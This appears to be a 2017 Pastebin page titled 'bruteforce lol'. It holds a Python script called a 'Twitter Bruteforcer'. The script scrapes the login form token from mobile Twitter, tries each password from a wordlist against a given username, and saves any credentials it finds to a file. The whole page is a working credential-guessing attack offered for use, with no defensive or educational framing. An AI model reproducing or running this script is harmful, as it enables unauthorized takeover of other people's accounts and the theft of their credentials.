Advertisement
Guest User

bruteforce lol

a guest
Jul 16th, 2017
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.35 KB | None | 0 0
  1. # - - - - - - - - - - - - - - - - - - - - -
  2. # Twitter Bruteforcer
  3. # - - - - -
  4. # Originally from:
  5. # https://github.com/codingplanets/TwitterBruteforcer
  6.  
  7. import requests
  8. import sys
  9. import time
  10.  
  11. def find_between(s, first, last):
  12.     try:
  13.         start = s.index(first) + len(first)
  14.         end = s.index(last, start)
  15.         return s[start:end]
  16.     except ValueError:
  17.         return ""
  18.  
  19. def check_password(username, password):
  20.  
  21.     # Standard Configuration
  22.     s = requests.Session()
  23.  
  24.     headers = {
  25.         'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1',
  26.         'Referer': 'https://mobile.twitter.com/login',
  27.         'Content-Type': 'application/x-www-form-urlencoded'
  28.     }
  29.     login_url = 'https://mobile.twitter.com/login'
  30.     r = s.get(login_url, headers=headers)
  31.     # print(str(r.text))
  32.     # Figure out Payload
  33.     auth_token = find_between(str(r.text), '<input name="authenticity_token" type="hidden" value="', '">')
  34.     # auth_token = find_between(str(r.text), '<input name="authenticity_token" type="hidden" value="', '">')
  35.  
  36.     #redirect_url = find_between(str(r.text), '<input type="hidden" name="redirect_after_login" value="','">')
  37.  
  38.     payload = {
  39.         'authenticity_token': auth_token,
  40.         'remember_me': '1',
  41.         'wfa': '1',
  42.         'redirect_after_login': '/',
  43.         'session[username_or_email]': username,
  44.         'session[password]': password
  45.     }
  46.     session_url = 'https://mobile.twitter.com/sessions'
  47.     r = s.post(session_url, headers=headers, data=payload)
  48.     # Password Check
  49.     r = s.get('https://mobile.twitter.com/account')
  50.     return username in r.text
  51.  
  52. def check_file(username, filename):
  53.  
  54.     # Load Password List
  55.     password_list = [line.rstrip('\n') for line in open(filename)]
  56.     i = 0
  57.     for password in password_list:
  58.         i += 1
  59.         print('{0}: Trying "{1}"'.format(i, password))
  60.         if (check_password(username, password)):
  61.             print('Found after {0} tries: Username: "{1}" & Password: "{2}"'.format(i, username, password))
  62.             with open('{0}.txt'.format(username), 'w') as file:
  63.                 file.write('Found after {0} tries: Username: "{1}" & Password: "{2}"'.format(i, username, password))
  64.             sys.exit()
  65.             time.sleep(5)
  66.  
  67. check_file(sys.argv[1], sys.argv[2])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement